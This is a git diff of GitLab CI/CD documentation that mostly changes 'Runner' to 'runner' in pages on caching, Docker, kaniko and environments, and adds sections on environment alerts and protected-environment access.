"$CI_PROJECT_DIR/.cache/pip" # Pip's cache doesn't store the python packages # https://pip.pypa.io/en/stable/reference/pip_install/#caching @@ -364,27 +364,27 @@ be prepared to regenerate any cached files in each job that needs them. Assuming you have properly [defined `cache` in `.gitlab-ci.yml`](../yaml/README.md#cache) according to your workflow, the availability of the cache ultimately depends on -how the Runner has been configured (the executor type and whether different -Runners are used for passing the cache between jobs). +how the runner has been configured (the executor type and whether different +runners are used for passing the cache between jobs). ### Where the caches are stored -Since the Runner is the one responsible for storing the cache, it's essential +Since the runner is the one responsible for storing the cache, it's essential to know **where** it's stored. All the cache paths defined under a job in `.gitlab-ci.yml` are archived in a single `cache.zip` file and stored in the -Runner's configured cache location. By default, they are stored locally in the -machine where the Runner is installed and depends on the type of the executor. +runner's configured cache location. By default, they are stored locally in the +machine where the runner is installed and depends on the type of the executor. | GitLab Runner executor | Default path of the cache | | ---------------------- | ------------------------- | | [Shell](https://docs.gitlab.com/runner/executors/shell.html) | Locally, stored under the `gitlab-runner` user's home directory: `/home/gitlab-runner/cache/<user>/<project>/<cache-key>/cache.zip`. | | [Docker](https://docs.gitlab.com/runner/executors/docker.html) | Locally, stored under [Docker volumes](https://docs.gitlab.com/runner/executors/docker.html#the-builds-and-cache-storage): `/var/lib/docker/volumes/<volume-id>/_data/<user>/<project>/<cache-key>/cache.zip`. | -| [Docker machine](https://docs.gitlab.com/runner/executors/docker_machine.html) (autoscale Runners) | Behaves the same as the Docker executor. | +| [Docker machine](https://docs.gitlab.com/runner/executors/docker_machine.html) (autoscale runners) | Behaves the same as the Docker executor. | ### How archiving and extracting works In the most simple scenario, consider that you use only one machine where the -Runner is installed, and all jobs of your project run on the same host. +runner is installed, and all jobs of your project run on the same host. Let's see the following example of two jobs that belong to two consecutive stages: @@ -426,17 +426,17 @@ Here's what happens behind the scenes: 1. `after_script` is executed. 1. `cache` runs and the `vendor/` directory is zipped into `cache.zip`. This file is then saved in the directory based on the - [Runner's setting](#where-the-caches-are-stored) and the `cache: key`. + [runner's setting](#where-the-caches-are-stored) and the `cache: key`. 1. `job B` runs. 1. The cache is extracted (if found). 1. `before_script` is executed. 1. `script` is executed. 1. Pipeline finishes. -By using a single Runner on a single machine, you'll not have the issue where -`job B` might execute on a Runner different from `job A`, thus guaranteeing the +By using a single runner on a single machine, you'll not have the issue where +`job B` might execute on a runner different from `job A`, thus guaranteeing the cache between stages. That will only work if the build goes from stage `build` -to `test` in the same Runner/machine, otherwise, you [might not have the cache +to `test` in the same runner/machine, otherwise, you [might not have the cache available](#cache-mismatch). During the caching process, there's also a couple of things to consider: @@ -448,13 +448,13 @@ During the caching process, there's also a couple of things to consider: their cache. - When extracting the cache from `cache.zip`, everything in the zip file is extracted in the job's working directory (usually the repository which is - pulled down), and the Runner doesn't mind if the archive of `job A` overwrites + pulled down), and the runner doesn't mind if the archive of `job A` overwrites things in the archive of `job B`. -The reason why it works this way is because the cache created for one Runner +The reason why it works this way is because the cache created for one runner often will not be valid when used by a different one which can run on a **different architecture** (e.g., when the cache includes binary files). And -since the different steps might be executed by Runners running on different +since the different steps might be executed by runners running on different machines, it is a safe default. ### Cache mismatch @@ -464,17 +464,17 @@ mismatch and a few ideas how to fix it. | Reason of a cache mismatch | How to fix it | | -------------------------- | ------------- | -| You use multiple standalone Runners (not in autoscale mode) attached to one project without a shared cache | Use only one Runner for your project or use multiple Runners with distributed cache enabled | -| You use Runners in autoscale mode without a distributed cache enabled | Configure the autoscale Runner to use a distributed cache | -| The machine the Runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. Currently, there's no automatic way to do this. | +| You use multiple standalone runners (not in autoscale mode) attached to one project without a shared cache | Use only one runner for your project or use multiple runners with distributed cache enabled | +| You use runners in autoscale mode without a distributed cache enabled | Configure the autoscale runner to use a distributed cache | +| The machine the runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. Currently, there's no automatic way to do this. | | You use the same `key` for jobs where they cache different paths. | Use different cache keys to that the cache archive is stored to a different location and doesn't overwrite wrong caches. | Let's explore some examples. #### Examples -Let's assume you have only one Runner assigned to your project, so the cache -will be stored in the Runner's machine by default. If two jobs, A and B, +Let's assume you have only one runner assigned to your project, so the cache +will be stored in the runner's machine by default. If two jobs, A and B, have the same cache key, but they cache different paths, cache B would overwrite cache A, even if their `paths` don't match: @@ -513,7 +513,7 @@ job B: To fix that, use different `keys` for each job. -In another case, let's assume you have more than one Runners assigned to your +In another case, let's assume you have more than one runner assigned to your project, but the distributed cache is not enabled. The second time the pipeline is run, we want `job A` and `job B` to re-use their cache (which in this case will be different): @@ -542,11 +542,11 @@ job B: In that case, even if the `key` is different (no fear of overwriting), you might experience that the cached files "get cleaned" before each stage if the -jobs run on different Runners in the subsequent pipelines. +jobs run on different runners in the subsequent pipelines. ## Clearing the cache -GitLab Runners use [cache](../yaml/README.md#cache) to speed up the execution +Runners use [cache](../yaml/README.md#cache) to speed up the execution of your jobs by reusing existing data. This however, can sometimes lead to an inconsistent behavior. @@ -565,9 +565,9 @@ If you want to avoid editing `.gitlab-ci.yml`, you can easily clear the cache via GitLab's UI: 1. Navigate to your project's **CI/CD > Pipelines** page. -1. Click on the **Clear Runner caches** button to clean up the cache. +1. Click on the **Clear runner caches** button to clean up the cache. -  +  1. On the next push, your CI/CD job will use a new cache. diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md index ba801950c40..74c48f087b2 100644 --- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md +++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md @@ -19,7 +19,7 @@ To use GitLab CI/CD with a Bitbucket Cloud repository:  - GitLab will import the repository and enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter). + GitLab will import the repository and enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository). 1. In GitLab create a [Personal Access Token](../../user/profile/personal_access_tokens.md) diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md index dc1135742ea..661d935fc1d 100644 --- a/doc/ci/ci_cd_for_external_repos/github_integration.md +++ b/doc/ci/ci_cd_for_external_repos/github_integration.md @@ -47,7 +47,7 @@ repositories: GitLab will: 1. Import the project. -1. Enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter) +1. Enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) 1. Enable [GitHub project integration](../../user/project/integrations/github.md) 1. Create a web hook on GitHub to notify GitLab of new commits. @@ -85,7 +85,7 @@ To manually enable GitLab CI/CD for your repository: new commits. The web hook URL should be set to the GitLab API to - [trigger pull mirroring](../../api/projects.md#start-the-pull-mirroring-process-for-a-project-starter), + [trigger pull mirroring](../../api/projects.md#start-the-pull-mirroring-process-for-a-project), using the GitLab personal access token we just created: ```plaintext diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md index 355bc7813d9..6fa0e6d9475 100644 --- a/doc/ci/cloud_deployment/index.md +++ b/doc/ci/cloud_deployment/index.md @@ -56,7 +56,7 @@ Some credentials are required to be able to run `aws` commands: ```yaml deploy: stage: deploy - image: registry.gitlab.com/gitlab-org/cloud-deploy/aws-base:latest # see the note below + image: registry.gitlab.com/gitlab-org/cloud-deploy/aws-base:latest # see the note below script: - aws s3 ... - aws create-deployment ... diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md index 8fc58df51fe..19da0496f8a 100644 --- a/doc/ci/directed_acyclic_graph/index.md +++ b/doc/ci/directed_acyclic_graph/index.md @@ -86,7 +86,7 @@ are certain use cases that you may need to work around. For more information: > - It became [enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36802) in 13.2. > - It became a [standard feature](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38517) in 13.3. > - It's enabled on GitLab.com. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-dag-visualization-core-only). +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-dag-visualization). The DAG visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph will display all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view. @@ -106,5 +106,5 @@ can opt to disable it for your instance: # Instance-wide Feature.disable(:dag_pipeline_tab) # or by project -Feature.disable(:dag_pipeline_tab, Project.find(<project id>)) +Feature.disable(:dag_pipeline_tab, Project.find(<project ID>)) ``` diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index 88d6dc3aae4..045fcd39c4d 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -35,12 +35,12 @@ There are three methods to enable the use of `docker build` and `docker run` during jobs, each with their own tradeoffs. An alternative to using `docker build` is to [use kaniko](using_kaniko.md). -This avoids having to execute Runner in privileged mode. +This avoids having to execute a runner in privileged mode. TIP: **Tip:** -To see how Docker and Runner are configured for shared Runners on -GitLab.com, see [GitLab.com Shared -Runners](../../user/gitlab_com/index.md#shared-runners). +To see how Docker and GitLab Runner are configured for shared runners on +GitLab.com, see [GitLab.com shared +runners](../../user/gitlab_com/index.md#shared-runners). ### Use shell executor @@ -123,7 +123,7 @@ not without its own challenges: - By default, Docker 17.09 and higher uses `--storage-driver overlay2` which is the recommended storage driver. See [Using the overlayfs driver](#use-the-overlayfs-driver) for details. -- Since the `docker:19.03.12-dind` container and the Runner container don't share their +- Since the `docker:19.03.12-dind` container and the runner container don't share their root file system, the job's working directory can be used as a mount point for child containers. For example, if you have files you want to share with a child container, you may create a subdirectory under `/builds/$CI_PROJECT_PATH` @@ -160,7 +160,7 @@ details. The Docker daemon supports connection over TLS and it's done by default for Docker 19.03.12 or higher. This is the **suggested** way to use the Docker-in-Docker service and -[GitLab.com Shared Runners](../../user/gitlab_com/index.md#shared-runners) +[GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners) support this. 1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). @@ -179,7 +179,7 @@ support this. --docker-volumes "/certs/client" ``` - The above command registers a new Runner to use the special + The above command registers a new runner to use the special `docker:19.03.12` image, which is provided by Docker. **Notice that it's using the `privileged` mode to start the build and service containers.** If you want to use [Docker-in-Docker](https://www.docker.com/blog/docker-can-now-run-within-docker/) mode, you always @@ -255,7 +255,7 @@ Sometimes there are legitimate reasons why you might want to disable TLS. For example, you have no control over the GitLab Runner configuration that you are using. -Assuming that the Runner `config.toml` is similar to: +Assuming that the runner's `config.toml` is similar to: ```toml [[runners]] @@ -337,10 +337,10 @@ In order to do that, follow the steps: --docker-volumes /var/run/docker.sock:/var/run/docker.sock ``` - The above command registers a new Runner to use the special + The above command registers a new runner to use the special `docker:19.03.12` image which is provided by Docker. **Notice that it's using - the Docker daemon of the Runner itself, and any containers spawned by Docker - commands are siblings of the Runner rather than children of the Runner.** + the Docker daemon of the runner itself, and any containers spawned by Docker + commands are siblings of the runner rather than children of the runner.** This may have complications and limitations that are unsuitable for your workflow. The above command creates a `config.toml` entry similar to this: @@ -454,7 +454,7 @@ The steps in the `script` section for the `build` stage can be summed up to: ## Use the OverlayFS driver NOTE: **Note:** -The shared Runners on GitLab.com use the `overlay2` driver by default. +The shared runners on GitLab.com use the `overlay2` driver by default. By default, when using `docker:dind`, Docker uses the `vfs` storage driver which copies the filesystem on every run. This is a disk-intensive operation @@ -504,10 +504,10 @@ environment variable in the environment = ["DOCKER_DRIVER=overlay2"] ``` -If you're running multiple Runners, you have to modify all configuration files. +If you're running multiple runners, you have to modify all configuration files. NOTE: **Note:** -Read more about the [Runner configuration](https://docs.gitlab.com/runner/configuration/) +Read more about the [runner configuration](https://docs.gitlab.com/runner/configuration/) and [using the OverlayFS storage driver](https://docs.docker.com/engine/userguide/storagedriver/overlayfs-driver/). ## Using the GitLab Container Registry diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md index db39532bbf2..0fcd95c41ed 100644 --- a/doc/ci/docker/using_docker_images.md +++ b/doc/ci/docker/using_docker_images.md @@ -26,7 +26,7 @@ test them on a dedicated CI server. ## Register Docker Runner -To use GitLab Runner with Docker you need to [register a new Runner](https://docs.gitlab.com/runner/register/) +To use GitLab Runner with Docker you need to [register a new runner](https://docs.gitlab.com/runner/register/) to use the `docker` executor. An example can be seen below. First we set up a temporary template to supply the services: @@ -112,7 +112,7 @@ It may be a database like MySQL, or Redis, and even `docker:stable-dind` which allows you to use Docker in Docker. It can be practically anything that's required for the CI/CD job to proceed and is accessed by network. -To make sure this works, the Runner: +To make sure this works, the runner: 1. Checks which ports are exposed from the container by default. 1. Starts a special container that waits for these ports to be accessible. @@ -382,7 +382,7 @@ services: - mysql:latest ``` -The Runner would start two containers using the `mysql:latest` image, but both +The runner would start two containers using the `mysql:latest` image, but both of them would be added to the job's container with the `mysql` alias based on the [default hostname naming](#accessing-the-services). This would end with one of the services not being accessible. @@ -398,7 +398,7 @@ services: alias: mysql-2 ``` -The Runner still starts two containers using the `mysql:latest` image, +The runner still starts two containers using the `mysql:latest` image, however now each of them are also accessible with the alias configured in `.gitlab-ci.yml` file. @@ -448,23 +448,23 @@ As you can see, the syntax of `command` is similar to [Dockerfile's `CMD`](https > Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](#extended-docker-configuration-options). Before showing the available entrypoint override methods, let's describe shortly -how the Runner starts and uses a Docker image for the containers used in the +how the runner starts and uses a Docker image for the containers used in the CI jobs: -1. The Runner starts a Docker container using the defined entrypoint (default +1. The runner starts a Docker container using the defined entrypoint (default from `Dockerfile` that may be overridden in `.gitlab-ci.yml`) -1. The Runner attaches itself to a running container. -1. The Runner prepares a script (the combination of +1. The runner attaches itself to a running container. +1. The runner prepares a script (the combination of [`before_script`](../yaml/README.md#before_script-and-after_script), [`script`](../yaml/README.md#script), and [`after_script`](../yaml/README.md#before_script-and-after_script)). -1. The Runner sends the script to the container's shell STDIN and receives the +1. The runner sends the script to the container's shell STDIN and receives the output. To override the entrypoint of a Docker image, the recommended solution is to -define an empty `entrypoint` in `.gitlab-ci.yml`, so the Runner does not start +define an empty `entrypoint` in `.gitlab-ci.yml`, so the runner does not start a useless shell layer. However, that does not work for all Docker versions, and -you should check which one your Runner is using. Specifically: +you should check which one your runner is using. Specifically: - If Docker 17.06 or later is used, the `entrypoint` can be set to an empty value. - If Docker 17.03 or previous versions are used, the `entrypoint` can be set to @@ -477,7 +477,7 @@ inside it and you would like to use it as a base image for your job because you want to execute some tests with this database binary. Let's also assume that this image is configured with `/usr/bin/super-sql run` as an entrypoint. That means that when starting the container without additional options, it runs -the database's process, while Runner expects that the image has no +the database's process, while the runner expects that the image has no entrypoint or that the entrypoint is prepared to start a shell command. With the extended Docker configuration options, instead of creating your @@ -527,7 +527,7 @@ To define which should be used, the GitLab Runner process reads the configuratio - `DOCKER_AUTH_CONFIG` variable provided as either: - A [variable](../variables/README.md#gitlab-cicd-environment-variables) in `.gitlab-ci.yml`. - A project's variables stored on the projects **Settings > CI/CD** page. -- `DOCKER_AUTH_CONFIG` variable provided as environment variable in `config.toml` of the Runner. +- `DOCKER_AUTH_CONFIG` variable provided as environment variable in `config.toml` of the runner. - `config.json` file placed in `$HOME/.docker` directory of the user running GitLab Runner process. If the `--user` flag is provided to run the GitLab Runner child processes as unprivileged user, the home directory of the main GitLab Runner process user is used. @@ -543,7 +543,7 @@ runtime. - This feature requires GitLab Runner **1.8** or higher. - For GitLab Runner versions **>= 0.6, <1.8** there was a partial support for using private registries, which required manual configuration - of credentials on runner's host. We recommend to upgrade your Runner to + of credentials on runner's host. We recommend to upgrade your runner to at least version **1.8** if you want to use private registries. - Available for [Kubernetes executor](https://docs.gitlab.com/runner/executors/kubernetes.html) in GitLab Runner 13.1 and later. @@ -556,9 +556,9 @@ private registry. Both require setting the environment variable 1. Per-job: To configure one job to access a private registry, add `DOCKER_AUTH_CONFIG` as a job variable. -1. Per-runner: To configure a Runner so all its jobs can access a +1. Per-runner: To configure a runner so all its jobs can access a private registry, add `DOCKER_AUTH_CONFIG` to the environment in the - Runner's configuration. + runner's configuration. See below for examples of each. @@ -652,12 +652,12 @@ registries to the `"auths"` hash as described above. NOTE: **Note:** The full `hostname:port` combination is required everywhere -for the Runner to match the `DOCKER_AUTH_CONFIG`. For example, if +for the runner to match the `DOCKER_AUTH_CONFIG`. For example, if `registry.example.com:5000/namespace/image:tag` is specified in `.gitlab-ci.yml`, then the `DOCKER_AUTH_CONFIG` must also specify `registry.example.com:5000`. Specifying only `registry.example.com` does not work. -### Configuring a Runner +### Configuring a runner If you have many pipelines that access the same registry, it is probably better to set up registry access at the runner level. This @@ -670,16 +670,16 @@ registry with the same privilege, even across projects. If you need to control access to the registry, you need to be sure to control access to the runner. -To add `DOCKER_AUTH_CONFIG` to a Runner: +To add `DOCKER_AUTH_CONFIG` to a runner: -1. Modify the Runner's `config.toml` file as follows: +1. Modify the runner's `config.toml` file as follows: ```toml [[runners]] environment = ["DOCKER_AUTH_CONFIG={\"auths\":{\"registry.example.com:5000\":{\"auth\":\"bXlfdXNlcm5hbWU6bXlfcGFzc3dvcmQ=\"}}}"] ``` -1. Restart the Runner service. +1. Restart the runner service. NOTE: **Note:** The double quotes included in the `DOCKER_AUTH_CONFIG` @@ -687,7 +687,7 @@ data must be escaped with backslashes. This prevents them from being interpreted as TOML. NOTE: **Note:** -The `environment` option is a list. So your Runner may +The `environment` option is a list. So your runner may have existing entries and you should add this to the list, not replace it. @@ -713,7 +713,7 @@ To configure credentials store, follow these steps: } ``` - - Or, if you're running self-managed Runners, add the above JSON to + - Or, if you're running self-managed runners, add the above JSON to `${GITLAB_RUNNER_HOME}/.docker/config.json`. GitLab Runner reads this configuration file and uses the needed helper for this specific repository. @@ -762,7 +762,7 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th This configures Docker to use the credential helper for all Amazon ECR registries. - - Or, if you're running self-managed Runners, + - Or, if you're running self-managed runners, add the above JSON to `${GITLAB_RUNNER_HOME}/.docker/config.json`. GitLab Runner reads this configuration file and uses the needed helper for this specific repository. diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md index 41c8f04f66e..a62f4db4fe4 100644 --- a/doc/ci/docker/using_kaniko.md +++ b/doc/ci/docker/using_kaniko.md @@ -22,8 +22,8 @@ build](using_docker_build.md#use-docker-in-docker-workflow-with-docker-executor) ## Requirements -In order to utilize kaniko with GitLab, a [GitLab Runner](https://docs.gitlab.com/runner/) -using one of the following executors is required: +In order to utilize kaniko with GitLab, [a runner](https://docs.gitlab.com/runner/) +with one of the following executors is required: - [Kubernetes](https://docs.gitlab.com/runner/executors/kubernetes.html). - [Docker](https://docs.gitlab.com/runner/executors/docker.html). @@ -85,13 +85,13 @@ This can be solved by adding your CA's certificate to the kaniko certificate store: ```yaml - before_script: - - mkdir -p /kaniko/.docker - - echo "{\"auths\":{\"$CI_REGISTRY\":{\"username\":\"$CI_REGISTRY_USER\",\"password\":\"$CI_REGISTRY_PASSWORD\"}}}" > /kaniko/.docker/config.json - - | - echo "-----BEGIN CERTIFICATE----- - ... - -----END CERTIFICATE-----" >> /kaniko/ssl/certs/additional-ca-cert-bundle.crt +before_script: + - mkdir -p /kaniko/.docker + - echo "{\"auths\":{\"$CI_REGISTRY\":{\"username\":\"$CI_REGISTRY_USER\",\"password\":\"$CI_REGISTRY_PASSWORD\"}}}" > /kaniko/.docker/config.json + - | + echo "-----BEGIN CERTIFICATE----- + ... + -----END CERTIFICATE-----" >> /kaniko/ssl/certs/additional-ca-cert-bundle.crt ``` ## Video walkthrough of a working example @@ -100,8 +100,8 @@ The [Least Privilege Container Builds with Kaniko on GitLab](https://www.youtube video is a walkthrough of the [Kaniko Docker Build](https://gitlab.com/guided-explorations/containers/kaniko-docker-build) Guided Exploration project pipeline. It was tested on: -- [GitLab.com Shared Runners](../../user/gitlab_com/index.md#shared-runners) -- [The Kubernetes Runner executor](https://docs.gitlab.com/runner/executors/kubernetes.html) +- [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners) +- [The Kubernetes runner executor](https://docs.gitlab.com/runner/executors/kubernetes.html) The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page. diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md index cdccdef049d..99f7d5d07a5 100644 --- a/doc/ci/environments/deployment_safety.md +++ b/doc/ci/environments/deployment_safety.md @@ -71,8 +71,8 @@ runs by enabling the [Skip outdated deployment jobs](../pipelines/settings.md#sk Example of a problematic pipeline flow **before** enabling Skip outdated deployment jobs: -1. Pipeline-A is created on the master branch. -1. Later, Pipeline-B is created on the master branch (with a newer commit SHA). +1. Pipeline-A is created on the `master` branch. +1. Later, Pipeline-B is created on the `master` branch (with a newer commit SHA). 1. The `deploy` job in Pipeline-B finishes first, and deploys the newer code. 1. The `deploy` job in Pipeline-A finished later, and deploys the older code, **overwriting** the newer (latest) deployment. diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md index e920e0d2400..931e5512e9e 100644 --- a/doc/ci/environments/environments_dashboard.md +++ b/doc/ci/environments/environments_dashboard.md @@ -25,8 +25,8 @@ You can access the dashboard from the top bar by clicking  -The Environments Dashboard displays a maximum of 7 projects -and 3 environments per project. +The Environments dashboard displays a paginated list of projects that includes +up to three environments per project. The listed environments for each project are unique, such as "production", "staging", etc. Review apps and other grouped @@ -47,6 +47,8 @@ The Environments and [Operations](../../user/operations_dashboard/index.md) dashboards share the same list of projects. When you add or remove a project from one, GitLab adds or removes the project from the other. +You can add up to 150 projects for GitLab to display on this dashboard. + ## Environment dashboards on GitLab.com GitLab.com users can add public projects to the Environments diff --git a/doc/ci/environments/img/alert_for_environment.png b/doc/ci/environments/img/alert_for_environment.png Binary files differnew file mode 100644 index 00000000000..4480c815a92 --- /dev/null +++ b/doc/ci/environments/img/alert_for_environment.png diff --git a/doc/ci/environments/incremental_rollouts.md b/doc/ci/environments/incremental_rollouts.md index 5da5c8e0a87..06661e03001 100644 --- a/doc/ci/environments/incremental_rollouts.md +++ b/doc/ci/environments/incremental_rollouts.md @@ -19,7 +19,7 @@ tranches after a default pause of 5 minutes. Timed rollouts can also be manually triggered before the pause period has expired. Manual and Timed rollouts are included automatically in projects controlled by -[AutoDevOps](../../topics/autodevops/index.md), but they are also configurable through +[Auto DevOps](../../topics/autodevops/index.md), but they are also configurable through GitLab CI/CD in the `.gitlab-ci.yml` configuration file. Manually triggered rollouts can be implemented with your [Continuously Delivery](../introduction/index.md#continuous-delivery) diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index 0273ab290a6..07d0dac6163 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -59,7 +59,7 @@ The rest of this section illustrates how to configure environments and deploymen an example scenario. It assumes you have already: - Created a [project](../../gitlab-basics/create-project.md) in GitLab. -- Set up [a Runner](../runners/README.md). +- Set up [a runner](../runners/README.md). In the scenario: @@ -138,9 +138,9 @@ In summary, with the above `.gitlab-ci.yml` we have achieved the following: job will deploy our code to a staging server while the deployment will be recorded in an environment named `staging`. -#### Environment variables and Runner +#### Environment variables and runners -Starting with GitLab 8.15, the environment name is exposed to the Runner in +Starting with GitLab 8.15, the environment name is exposed to the runner in two forms: - `$CI_ENVIRONMENT_NAME`. The name given in `.gitlab-ci.yml` (with any variables @@ -154,7 +154,7 @@ If you change the name of an existing environment, the: - `$CI_ENVIRONMENT_SLUG` variable will remain unchanged to prevent unintended side effects. -Starting with GitLab 9.3, the environment URL is exposed to the Runner via +Starting with GitLab 9.3, the environment URL is exposed to the runner via `$CI_ENVIRONMENT_URL`. The URL is expanded from either: - `.gitlab-ci.yml`. @@ -317,14 +317,14 @@ including: However, you cannot use variables defined: - Under `script`. -- On the Runner's side. +- On the runner's side. There are also other variables that are unsupported in the context of `environment:name`. For more information, see [Where variables can be used](../variables/where_variables_can_be_used.md). #### Example configuration -GitLab Runner exposes various [environment variables](../variables/README.md) when a job runs, so +Runners expose various [environment variables](../variables/README.md) when a job runs, so you can use them as environment names. In the following example, the job will deploy to all branches except `master`: @@ -525,7 +525,7 @@ The complete example provides the following workflow to developers: - Push the branch to GitLab. - Create a merge request. -Behind the scenes, GitLab Runner will: +Behind the scenes, the runner will: - Pick up the changes and start running the jobs. - Run the jobs sequentially as defined in `stages`: @@ -700,7 +700,7 @@ stop_review: ``` Setting the [`GIT_STRATEGY`](../yaml/README.md#git-strategy) to `none` is necessary in the -`stop_review` job so that the [GitLab Runner](https://docs.gitlab.com/runner/) won't +`stop_review` job so that the [runner](https://docs.gitlab.com/runner/) won't try to check out the code after the branch is deleted. When you have an environment that has a stop action defined (typically when @@ -864,6 +864,38 @@ exist, you should see something like:  +### Environment incident management + +You have successfuly setup a Continous Delivery/Deployment workflow in your project. +Production environments can go down unexpectedly, including for reasons outside +of your own control. For example, issues with external dependencies, infrastructure, +or human error can cause major issues with an environment. This could include: + +- A dependent cloud service goes down. +- A 3rd party library is updated and it's not compatible with your application. +- Someone performs a DDoS attack to a vulnerable endpoint in your server. +- An operator misconfigures infrastructure. +- A bug is introduced into the production application code. + +You can use [incident management](../../operations/incident_management/index.md) +to get alerts when there are critical issues that need immediate attention. + +#### View the latest alerts for environments **(ULTIMATE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214634) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4. + +If you [set up alerts for Prometheus metrics](../../operations/metrics/alerts.md), +alerts for environments are shown on the environments page. The alert with the highest +severity is shown, so you can identify which environments need immediate attention. + + + +When the issue that triggered the alert is resolved, it is removed and is no +longer visible on the environment page. + +If the alert requires a [rollback](#retrying-and-rolling-back), you can select the +deployment tab from the environment page and select which deployment to roll back to. + ### Monitoring environments If you have enabled [Prometheus for monitoring system and response metrics](../../user/project/integrations/prometheus.md), diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index b6141ddc7ac..5dda0cc81f6 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -47,6 +47,37 @@ To protect an environment: The protected environment will now appear in the list of protected environments. +## Environment access by group membership + +A user may be granted access to protected environments as part of +[group membership](../../user/group/index.md). Users with +[Reporter permissions](../../user/permissions.md), can only be granted access to +protected environments with this method. + +## Deployment branch access + +Users with [Developer permissions](../../user/permissions.md) can be granted +access to a protected environment through any of these methods: + +- As an individual contributor, through a role. +- Through a group membership. + +If the user also has push or merge access to the branch deployed on production, +they have the following privileges: + +- [Stopping an environment](index.md#stopping-an-environment). +- [Delete a stopped environment](index.md#delete-a-stopped-environment). +- [Create an environment terminal](index.md#web-terminals). + +## Deployment-only access to protected environments + +Users granted access to a protected environment, but not push or merge access +to the branch deployed to it, are only granted access to deploy the environment. + +NOTE: **Note:** +Deployment-only access is the only possible access level for users with +[Reporter permissions](../../user/permissions.md). + ## Modifying and unprotecting environments Maintainers can: @@ -55,6 +86,10 @@ Maintainers can: **Allowed to Deploy** dropdown menu. - Unprotect a protected environment by clicking the **Unprotect** button for that environment. +NOTE: **Note:** +After an environment is unprotected, all access entries are deleted and must +be re-entered if the environment is re-protected. + For more information, see [Deployment safety](deployment_safety.md). <!-- ## Troubleshooting diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md index 37ccef10567..34e3b276d3e 100644 --- a/doc/ci/examples/README.md +++ b/doc/ci/examples/README.md @@ -64,6 +64,7 @@ choose one of these templates: - [Clojure (`Clojure.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Clojure.gitlab-ci.yml) - [Composer `Composer.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Composer.gitlab-ci.yml) - [Crystal (`Crystal.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Crystal.gitlab-ci.yml) +- [Dart (`Dart.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Dart.gitlab-ci.yml) - [Django (`Django.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Django.gitlab-ci.yml) - [Docker (`Docker.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Docker.gitlab-ci.yml) - [dotNET (`dotNET.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET.gitlab-ci.yml) diff --git a/doc/ci/examples/artifactory_and_gitlab/index.md b/doc/ci/examples/artifactory_and_gitlab/index.md index c1b3ddec1b9..2abb2cc1b0d 100644 --- a/doc/ci/examples/artifactory_and_gitlab/index.md +++ b/doc/ci/examples/artifactory_and_gitlab/index.md @@ -3,12 +3,7 @@ stage: Verify group: Continuous Integration info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers disqus_identifier: 'https://docs.gitlab.com/ee/articles/artifactory_and_gitlab/index.html' -author: Fabio Busatto -author_gitlab: bikebilly -level: intermediate -article_type: tutorial type: tutorial -date: 2017-08-15 --- # How to deploy Maven projects to Artifactory with GitLab CI/CD @@ -82,7 +77,7 @@ is to configure the authentication data. 